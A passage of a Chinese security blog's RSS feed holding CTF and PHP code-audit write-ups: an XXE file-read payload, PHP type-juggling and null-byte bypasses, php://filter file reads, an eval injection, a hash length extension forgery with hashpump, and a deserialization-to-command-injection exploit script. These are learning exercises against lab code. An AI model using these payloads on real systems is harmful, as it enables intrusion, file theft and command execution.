	&amp;lt;!ENTITY &amp;amp;#x25; eval &quot;&amp;lt;!ENTITY &amp;amp;#x26;&amp;amp;#x25; error SYSTEM &amp;amp;#x27;file:///nonexistent/&amp;amp;#x25;file;&amp;amp;#x27;&amp;gt;&quot;&amp;gt;
	&amp;amp;#x25;eval;
	&amp;amp;#x25;error;
	&apos;&amp;gt;
	%local_dtd;
]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/36517036&quot;&gt;CTF学习—web—XXE&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.runoob.com/dtd/dtd-entities.html&quot;&gt;菜鸟教程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://security.tencent.com/index.php/blog/msg/69&quot;&gt;未知攻焉知防——XXE漏洞攻防&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>php-storm环境</title><link>https://rayepeng.net/posts/php-storm%E7%8E%AF%E5%A2%83/</link><guid isPermaLink="true">https://rayepeng.net/posts/php-storm%E7%8E%AF%E5%A2%83/</guid><pubDate>Wed, 14 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;继续配置了一波phpStorm的环境，感觉对这个IDE还有很多可以研究的地方&lt;/p&gt;
&lt;p&gt;在这里可以修改php的路径，我选择了phpStudy的一个php解释器，因为其中安装了Xdebug。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/14/YxhUEJqVHXW5DCp.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;配置apache的环境，选择的是Local or mounted folder,因为服务器就在本地&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/14/zAnO3qtLGINyM2o.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;路由映射&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/14/oxn2AeKQ5SEz4Pi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后就可以在phpStorm写完代码部署到本地的服务器上了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/14/IMgBiuJHXYWGL7A.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也可以debug了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/14/4qkMYoi27umAgDn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>php-challenge</title><link>https://rayepeng.net/posts/php-challenge/</link><guid isPermaLink="true">https://rayepeng.net/posts/php-challenge/</guid><pubDate>Mon, 12 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;继续分析GitHub上的一个代码审计项目&lt;/p&gt;
&lt;h2&gt;challenge-1&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$users = array(
        &quot;0:9b5c3d2b64b8f74e56edec71462bd97a&quot; ,
        &quot;1:4eb5fb1501102508a86971773849d266&quot;,
        &quot;2:facabd94d57fc9f1e655ef9ce891e86e&quot;,
        &quot;3:ce3924f011fe323df3a6a95222b0c909&quot;,
        &quot;4:7f6618422e6a7ca2e939bd83abde402c&quot;,
        &quot;5:06e2b745f3124f7d670f78eabaa94809&quot;,
        &quot;6:8e39a6e40900bb0824a8e150c0d0d59f&quot;,
        &quot;7:d035e1a80bbb377ce1edce42728849f2&quot;,
        &quot;8:0927d64a71a9d0078c274fc5f4f10821&quot;,
        &quot;9:e2e23d64a642ee82c7a270c6c76df142&quot;,
        &quot;10:70298593dd7ada576aff61b6750b9118&quot;
);

$valid_user = false;

$input = $_COOKIE[&apos;user&apos;];
$input[1] = md5($input[1]);

foreach ($users as $user)
{
        $user = explode(&quot;:&quot;, $user);
        if ($input === $user) {
                $uid = $input[0] + 0;
                $valid_user = true;
        }
}

if (!$valid_user) {
        die(&quot;not a valid user\n&quot;);
}

if ($uid == 0) {

        echo &quot;Hello Admin How can I serve you today?\n&quot;;
        echo &quot;SECRETS ....\n&quot;;

} else {
        echo &quot;Welcome back user\n&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题只能在特定的环境下运行，根源在&lt;a href=&quot;https://www.sektioneins.de/blog/15-08-03-php_challenge_2015_solution.html&quot;&gt;这里&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;存在这样一个bug&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[2015-06-20 14:29 UTC] nikic@php.net
Description:
------------
var_dump([0 =&amp;gt; 0] === [0x100000000 =&amp;gt; 0]); // bool(true)

on all versions: http://3v4l.org/Sjdf8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实是内部实现的时候：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Bucket *p1, *p2 = NULL;
       int result;
       void *pData2;

       ...

       while (p1) {
               if (ordered &amp;amp;&amp;amp; !p2) {
                       ...
               }
               if (ordered) {
                       if (p1-&amp;gt;nKeyLength==0 &amp;amp;&amp;amp; p2-&amp;gt;nKeyLength==0) { /* numeric indices */
                               result = p1-&amp;gt;h - p2-&amp;gt;h;                &amp;lt;------------ POSSIBLE TRUNCATION
                               if (result!=0) {
                                       HASH_UNPROTECT_RECURSION(ht1);
                                       HASH_UNPROTECT_RECURSION(ht2);
                                       return result;
                               }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;result是32位的，而其他的是64位，这样如果我64位数据的低32位都是0就可以绕过了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;同时&lt;code&gt;users&lt;/code&gt;数组中能解密的只有第5个，想办法让两个数组相等&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Cookie: users[4,294,967,296]=5;users[1]=hund&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这样&lt;code&gt;$user===$input&lt;/code&gt;同时由于&lt;code&gt;$input[0]&lt;/code&gt;未赋初值，那就是0了，这样就是admin了&lt;/p&gt;
&lt;h2&gt;challenge-10&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
echo &quot;&amp;lt;!--index.phps--&amp;gt;&quot;;
if(!$_GET[&apos;id&apos;])
{
	header(&apos;Location: index.php?id=1&apos;);
	exit();
}
$id=$_GET[&apos;id&apos;];
$a=$_GET[&apos;a&apos;];
$b=$_GET[&apos;b&apos;];
if(stripos($a,&apos;.&apos;))
{
	echo &apos;Hahahahahaha&apos;;
	return ;
}
$data = @file_get_contents($a,&apos;r&apos;);
if($data==&quot;1112 is a nice lab!&quot; and $id==0 and strlen($b)&amp;gt;5 and eregi(&quot;111&quot;.substr($b,0,1),&quot;1114&quot;) and substr($b,0,1)!=4)
{
	require(&quot;flag.txt&quot;);
}
else
{
	print &quot;work harder!harder!harder!&quot;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;小tricks：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;var_dump(‘a’==true); 结果为true&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;var_dump(‘a’ == 0); 结果为true&lt;/p&gt;
&lt;p&gt;所以&lt;code&gt;id&lt;/code&gt;输入一个字母就能够使得&lt;code&gt;!$_GET[&apos;id&apos;]&lt;/code&gt;为false，同时&lt;code&gt;$id == 0&lt;/code&gt;为true&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$data&lt;/code&gt;是从一个文件中得到的结果，这时候想到php伪协议，输入&lt;code&gt;a=php://input&lt;/code&gt;再post数据就行&lt;/p&gt;
&lt;p&gt;&lt;code&gt;eregi(&quot;111&quot;.substr($b, 0, 1), &quot;1114&quot;)&lt;/code&gt; 结合后面的&lt;code&gt;substr($b, 0, 1)!=4&lt;/code&gt; 要通过&lt;code&gt;substr&lt;/code&gt;函数的截断才行&lt;/p&gt;
&lt;p&gt;所以设置&lt;code&gt;$b=%00111111&lt;/code&gt;, substr函数会被截断，strlen不会，eregi就能匹配上了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/12/VZnkLDIqdlX2Aio.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;补充一点php伪协议的知识，参考了LoRexxar师傅的&lt;a href=&quot;https://lorexxar.cn/2016/09/14/php-wei/&quot;&gt;文章&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;php中支持的伪协议很多，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们最常用的任意文件读取的payload就是用了&lt;code&gt;php://&lt;/code&gt;协议：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php://filter/read=convert.base64-encode/resource=upload.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;针对&lt;code&gt;php://filter&lt;/code&gt;，官方文档是这样写的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;名称	描述
resource=&amp;lt;要过滤的数据流&amp;gt;	   这个参数是必须的。它指定了你要筛选过滤的数据流。
read=&amp;lt;读链的筛选列表&amp;gt;	       该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
write=&amp;lt;写链的筛选列表&amp;gt;	   该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
&amp;lt;；两个链的筛选列表&amp;gt;	       任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在我们的payload中，&lt;code&gt;upload.php&lt;/code&gt;就是要过滤的数据流，&lt;code&gt;convert.base64-encode&lt;/code&gt;就是要读链的筛选列表&lt;/p&gt;
&lt;p&gt;之所以要base64编码，一般是为了数据传输的方便&lt;/p&gt;
&lt;p&gt;官方文档中能够举了如下栗子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$fp = fopen(&apos;php://output&apos;, &apos;w&apos;);

stream_filter_append($fp, &apos;convert.base64-encode&apos;);
fwrite($fp, &quot;This is a test.\n&quot;);
fclose($fp);

$param = array(&apos;line-length&apos;=&amp;gt;8, &apos;line-break-chars&apos;=&amp;gt;&quot;\r\n&quot;);
$fp = fopen(&apos;php://output&apos;, &apos;w&apos;);
stream_filter_append($fp, &apos;convert.base64-encode&apos;, STREAM_FILTER_WRITE, $param);
fwrite($fp, &quot;This is a test.\n&quot;);
fclose($fp);

$fp = fopen(&apos;php://output&apos;, &apos;w&apos;);
stream_filter_append($fp, &apos;convert.base64-decode&apos;);
fwrite($fp, &quot;VGhpcyBpcyBhIHRlc3QuCg==&quot;);
fclose($fp);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除了base64之外还有其他的一些过滤器，官方文档中有些。&lt;/p&gt;
&lt;h2&gt;challenge-11&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
    
error_reporting(0);

$link = mysql_connect(&apos;localhost&apos;, &apos;root&apos;, &apos;&apos;);
if (!$link) { 
    die(&apos;Could not connect to MySQL: &apos; . mysql_error()); 
} 

// 选择数据库
$db = mysql_select_db(&quot;test&quot;, $link);
if(!$db)
{
    echo &apos;select db error&apos;;
    exit();
}

// 执行sql
$password = $_GET[&apos;pwd&apos;];
$sql = &quot;SELECT * FROM admin WHERE pass = &apos;&quot;.md5($password,true).&quot;&apos;&quot;;
var_dump($sql);
$result=mysql_query($sql) or die(&apos;&amp;lt;pre&amp;gt;&apos; . mysql_error() . &apos;&amp;lt;/pre&amp;gt;&apos; );

$row1 = mysql_fetch_row($result);
var_dump($row1);

mysql_close($link);

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/12/5gY7ZHLE9mb6UCo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;challenge-12&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST[&apos;hello&apos;];
eval(&quot;var_dump($a);&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串直接拼接&lt;/p&gt;
&lt;p&gt;&lt;code&gt;?hello=);eval(phpinfo());//&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;challenge-13&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET[&apos;foo&apos;]);
if(is_array($a)){
   is_numeric(@$a[&quot;bar1&quot;])?die(&quot;nope&quot;):NULL;
   if(@$a[&quot;bar1&quot;]){
	   ($a[&quot;bar1&quot;]&amp;gt;2016)?$v1=1:NULL;
   }
   if(is_array(@$a[&quot;bar2&quot;])){
	   if(count($a[&quot;bar2&quot;])!==5 OR !is_array($a[&quot;bar2&quot;][0])) die(&quot;nope&quot;);
	   $pos = array_search(&quot;nudt&quot;, $a[&quot;a2&quot;]);
	   $pos===false?die(&quot;nope&quot;):NULL;
	   foreach($a[&quot;bar2&quot;] as $key=&amp;gt;$val){
		   $val===&quot;nudt&quot;?die(&quot;nope&quot;):NULL;
	   }
	   $v2=1;
   }
}
$c=@$_GET[&apos;cat&apos;];
$d=@$_GET[&apos;dog&apos;];
if(@$c[1]){
   if(!strcmp($c[1],$d) &amp;amp;&amp;amp; $c[1]!==$d){
	   eregi(&quot;3|1|c&quot;,$d.$c[0])?die(&quot;nope&quot;):NULL;
	   strpos(($c[0].$d), &quot;htctf2016&quot;)?$v3=1:NULL;
   }
}
if($v1 &amp;amp;&amp;amp; $v2 &amp;amp;&amp;amp; $v3){
   include &quot;flag.php&quot;;
   echo $flag;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可能是我对json不是很了解，这里必须都使用双引号才行。&lt;/p&gt;
&lt;p&gt;两个不是弱类型的trick：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var_dump(0===false) 为false
var_dump(null===false) 为false
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>哈希扩展攻击继续分析</title><link>https://rayepeng.net/posts/%E5%93%88%E5%B8%8C%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB%E7%BB%A7%E7%BB%AD%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%93%88%E5%B8%8C%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB%E7%BB%A7%E7%BB%AD%E5%88%86%E6%9E%90/</guid><pubDate>Mon, 12 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近看到了好多针对de1ctf ssrfme题目分析，顺便把之前没搞明白的哈希长度扩展攻击写一下&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://joychou.org/web/hash-length-extension-attack.html&quot;&gt;链接&lt;/a&gt;这篇文章讲的很仔细了，分析一下文章中的栗子&lt;/p&gt;
&lt;p&gt;师傅给的&lt;a href=&quot;https://github.com/JoyChou93/md5-extension-attack&quot;&gt;代码&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;md5的过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;MD5 padding&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;如果输入信息的长度(字节)对64求余的结果不等于56，就需要填充使得对64求余的结果等于56。填充的方法是填充一个x80和xx个0。填充完后，信息的长度为N*64+56(字节)，并且最后8个字节用来记录原始输入信息长度&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;MD5 compress&lt;br /&gt;
这个算法直接到网上找就行&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所以MD5的过程就是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;先进行消息长度的填充(padding)。填充完后，初始化的4个Magic number会和第一个64字节的Message block进行md5 compress压缩算法。压缩算法完成后，会产生新的4个Magic number。这样再进行第二个64字节Message block的md5 compress压缩算法。以此类推……直到压缩到最后64个字节的(Message block + padding)，最后得到的Magic number经过hex转化就是最后的md5 hash值&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;比如md5(‘admin’),由于padding之后只有64个字节，所以只进行一轮的md5 compress 得到的密文就是：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;21232f297a57a5a743894a0e4a801fc3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们可以从密文推导出4个magic number：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;A=0x292f2321L
B=0xa7a5577aL
C=0xe4a8943L
D=0xc31f804aL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个关系就是大小端转化一下&lt;/p&gt;
&lt;h2&gt;md5长度扩展的攻击过程&lt;/h2&gt;
&lt;p&gt;知道如下三个值：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;md5(salt+message)的值&lt;/li&gt;
&lt;li&gt;message内容&lt;/li&gt;
&lt;li&gt;salt+message长度&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们可以根据md5(salt+message)的值逆向出最后的四个magic number&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def compute_magic_number(self, md5str):
    self.A = struct.unpack(&quot;I&quot;, md5str[0:8].decode(&apos;hex&apos;))[0]
    self.B = struct.unpack(&quot;I&quot;, md5str[8:16].decode(&apos;hex&apos;))[0]
    self.C = struct.unpack(&quot;I&quot;, md5str[16:24].decode(&apos;hex&apos;))[0]
    self.D = struct.unpack(&quot;I&quot;, md5str[24:32].decode(&apos;hex&apos;))[0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个四个magic number去和m做一下次的md5 compress&lt;/p&gt;
&lt;h2&gt;再理解一下&lt;/h2&gt;
&lt;p&gt;继续又看了一篇师傅的文章，想要好好梳理一下哈希扩展攻击&lt;/p&gt;
&lt;p&gt;师傅是以sha1算法为例讲解的： sha1的流程如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/hash0.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sha1算法和md5很相似，也有最初的四个IV，并且是确定的(这是一种很不好的方法但是也是一种无奈的举动)&lt;/p&gt;
&lt;p&gt;一个不足64位的字符串会被padding至64位，并且由于只有一个分组，所以只需要一轮运算即可&lt;/p&gt;
&lt;p&gt;我们在前一次64位padding之后的字符串的基础上加入一些字符，sha1(salt+padding+add_data) 首先这里肯定是要分成两组的，前一组加密后的内容已经知道了，同时产生的新的IV会参与下一次的复杂的数学运算&lt;/p&gt;
&lt;p&gt;而这些IV是能够从第一组的密文中得知的，这就导致下一组加密后的内容实际上我们也可以知道的&lt;/p&gt;
&lt;p&gt;《白帽子讲web安全》上提到，如何利用长度扩展攻击：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;LengthExtension 使得可以在原文之后附加任意的值，并计算出新的hash值，最常见的地方就是签名&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;错误的签名校验算法&lt;br /&gt;
参数连接时没有使用分隔符，本来是&lt;code&gt;?a=1&amp;amp;b=2&amp;amp;c=3&lt;/code&gt;在签名算法中简单地变成了&lt;code&gt;a1b2c3&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;于是攻击者可以伪造参数&lt;code&gt;?a=1b2c3[...padding....]&amp;amp;b=4&amp;amp;c=5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;最终在签名算法中连接时变成了&lt;code&gt;a1b2c3[...padding...]b4c5&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;附加任意的参数&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;HPP&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最简单的防护就是将secret放置在参数的末尾&lt;/p&gt;
&lt;h2&gt;举例&lt;/h2&gt;
&lt;p&gt;大师傅给的栗子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

$role = $_REQUEST[&quot;role&quot;];
$hash = $_REQUEST[&quot;hash&quot;];
$salt = &quot;meme&quot;; 

if ($hash !== md5($salt.$role)){
    echo &apos;wrong!&apos;;     
    exit;
}

if ( $role == &apos;admin&apos;){
    echo &apos;wrong, hash cann\&apos;t be admin&apos;;
    exit;
}

echo &quot;You are &quot;.$role.&apos;&amp;lt;/br&amp;gt;&apos;;
echo &apos;Congradulation!&apos;;

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;已知role为admin，salt的长度为4，hash值为：&lt;code&gt;c7813629f22b6a7d28a08041db3e80a9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们可以在&lt;code&gt;role&lt;/code&gt;后面附加任意的数据使得第一个if被绕过&lt;/p&gt;
&lt;p&gt;用大师傅的脚本：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;python md5pad.py c7813629f22b6a7d28a08041db3e80a9 joychou 9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当然也可以这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hashpump                                                                                                                        
Input Signature: c7813629f22b6a7d28a08041db3e80a9
Input Data: admin
Input Key Length: 9
Input Data to Add: joychou
06cf5a94dcda53659f58c0f411ba0bd8
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00joychou
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意第三次输入的数据长度是包括salt在内的&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.freebuf.com/articles/web/69264.html&quot;&gt;深入理解hash长度扩展攻击（sha1为例）&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://joychou.org/web/hash-length-extension-attack.html&quot;&gt;Hash Length Extension Attack&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>php反序列化笔记1</title><link>https://rayepeng.net/posts/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AC%94%E8%AE%B01/</link><guid isPermaLink="true">https://rayepeng.net/posts/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AC%94%E8%AE%B01/</guid><pubDate>Sun, 11 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在freebuf上看到了一篇新的php反序列化的文章，借此继续分析一下php反序列化。&lt;/p&gt;
&lt;p&gt;文章中的代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

error_reporting(0);

class come{    

   private $method;

   private $args;

   function __construct($method, $args) {

       $this-&amp;gt;method = $method;

       $this-&amp;gt;args = $args;

    }

   function __wakeup(){

       foreach($this-&amp;gt;args as $k =&amp;gt; $v) {

           $this-&amp;gt;args[$k] = $this-&amp;gt;waf(trim($v));

       }

    }

   function waf($str){

       $str=preg_replace(&quot;/[&amp;lt;&amp;gt;*;|?\n ]/&quot;,&quot;&quot;,$str);

       $str=str_replace(&apos;flag&apos;,&apos;&apos;,$str);

       return $str;

   }           

   function echos($host){

       system(&quot;echos $host&quot;.$host);

    }

   function __destruct(){

       if (in_array($this-&amp;gt;method, array(&quot;echos&quot;))) {

           call_user_func_array(array($this, $this-&amp;gt;method), $this-&amp;gt;args);

       }

    }

}

$first=&apos;hi&apos;;

$var=&apos;var&apos;;

$bbb=&apos;bbb&apos;;

$ccc=&apos;ccc&apos;;

$i=1;

foreach($_GET as $key =&amp;gt; $value) {

       if($i===1)

       {

           $i++;   

           $$key = $value;

       }

       else{break;}

}

if($first===&quot;doller&quot;)

{
   var_dump($_GET[&apos;a&apos;]);
   @parse_str($_GET[&apos;a&apos;]);

   if($var===&quot;give&quot;)

    {

       if($bbb===&quot;me&quot;)

       {

           if($ccc===&quot;flag&quot;)

           {

                echo&quot;&amp;lt;br&amp;gt;welcome!&amp;lt;br&amp;gt;&quot;;

                $come=@$_POST[&apos;come&apos;];

                unserialize($come); 

           }

       }

       else

       {echo &quot;&amp;lt;br&amp;gt;think about it&amp;lt;br&amp;gt;&quot;;}

    }

   else

    {

       echo &quot;NO&quot;;

    }

}

else

{

   echo &quot;Can you hack me?&amp;lt;br&amp;gt;&quot;;

}

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有两个小trick需要绕过，都是变量覆盖的漏洞，同时parse_str函数需要接受的是一个字符串，为了在浏览器栏中输入需要将&amp;amp;符号进行URL编码&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://localhost/test/unserialize.php?first=doller&amp;amp;a=var=give%26bbb=me%26ccc=flag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这样就能绕过两个小trick&lt;/p&gt;
&lt;p&gt;之后就是怎么利用那个反序列化了，&lt;code&gt;__construct&lt;/code&gt;函数没有什么用，&lt;code&gt;__wakeup&lt;/code&gt;方法会将私有属性&lt;code&gt;args&lt;/code&gt;通过一个waf函数进行过滤，&lt;code&gt;__destruct&lt;/code&gt;函数中有一个危险函数&lt;code&gt;call_user_func_array&lt;/code&gt;,注意到调用这个函数的时候传入的是一个数组，其实就是调用这个this类中的一个方法。但是之前的if判断限制了调用的方法只能是&lt;code&gt;echos&lt;/code&gt;，分析&lt;code&gt;echos&lt;/code&gt;方法发现其中有一个&lt;code&gt;system&lt;/code&gt;函数，但是&lt;code&gt;echo&lt;/code&gt;错误的拼成了&lt;code&gt;echos&lt;/code&gt; :laughing:&lt;/p&gt;
&lt;p&gt;于是我们的思路就是通过传入反序列化后的值使得echos函数被调用执行我们的命令，这就设计到在Linux或者Windows中一行执行多条命令的方式。&lt;/p&gt;
&lt;p&gt;在Linux中：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;amp;是不管前后命令是否执行成功都会执行前后命令&lt;br /&gt;
&amp;amp;&amp;amp;是前面的命令执行成功才能执行后面的命令&lt;br /&gt;
||是前面的命令执行不成功才能执行后面的命令&lt;br /&gt;
|管道符&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;构造出反序列化数据如下：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;O:4:&quot;come&quot;:2:{s:10:&quot;comeargs&quot;;a:1:{i:0;s:4:&quot;&amp;amp;dir&quot;;}s:12:&quot;comemethod&quot;;s:5:&quot;echos&quot;;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是。。。&lt;br /&gt;
&lt;img src=&quot;https://i.loli.net/2019/08/11/KREArj6U48vMnsl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;var_dump&lt;/code&gt;一下发现了：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;:\ProgramFiles\phpstudy\PHPTutorial\WWW\test\unserialize.php:104:string &apos;O:4:&quot;come&quot;:2:{s:10:&quot;comeargs&quot;;a:1:{i:0;s:4:&quot;&apos; (length=44)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;发现数据被截断了。。&lt;/p&gt;
&lt;p&gt;var_dump之前的构造的反序列化数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:4:&quot;come&quot;:2:{s:10:&quot;comeargs&quot;;a:1:{i:0;s:4:&quot;&amp;amp;dir&quot;;}s:12:&quot;comemethod&quot;;s:5:&quot;echos&quot;;}F:\notes\audit\test.php:8:  ---&amp;gt; echo出来的结果
string(86) &quot;O:4:&quot;come&quot;:2:{s:10:&quot;\000come\000args&quot;;a:1:{i:0;s:4:&quot;&amp;amp;dir&quot;;}s:12:&quot;\000come\000method&quot;;s:5:&quot;echos&quot;;}&quot; ---&amp;gt; var_dump出来的结果
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为php在反序列化数据时：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;protected属性的表示方式是在变量名前加个%00*%00&lt;br /&gt;
private表示方式是在变量名前加上%00类名%00&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以次数的两个&lt;code&gt;private&lt;/code&gt;属性都被加上了00阶段符号，于是只能通过python手动编码传输数据了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

url = &quot;http://localhost/test/unserialize.php?first=doller&amp;amp;a=var=give%26bbb=me%26ccc=flag&quot;

n = &apos;00&apos;.decode(&apos;hex&apos;)
o = &apos;O:4:&quot;come&quot;:2:{s:12:&quot;&apos;+n+&apos;come&apos;+n+&apos;method&quot;;s:5:&quot;echos&quot;;s:10:&quot;&apos;+n+&apos;come&apos;+n+&apos;args&quot;;a:1:{i:0;s:4:&quot;&amp;amp;dir&quot;;}}&quot;&apos;

r = requests.post(url, data={&quot;come&quot;:o})
print r.text
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回的结果如下：&lt;/p&gt;
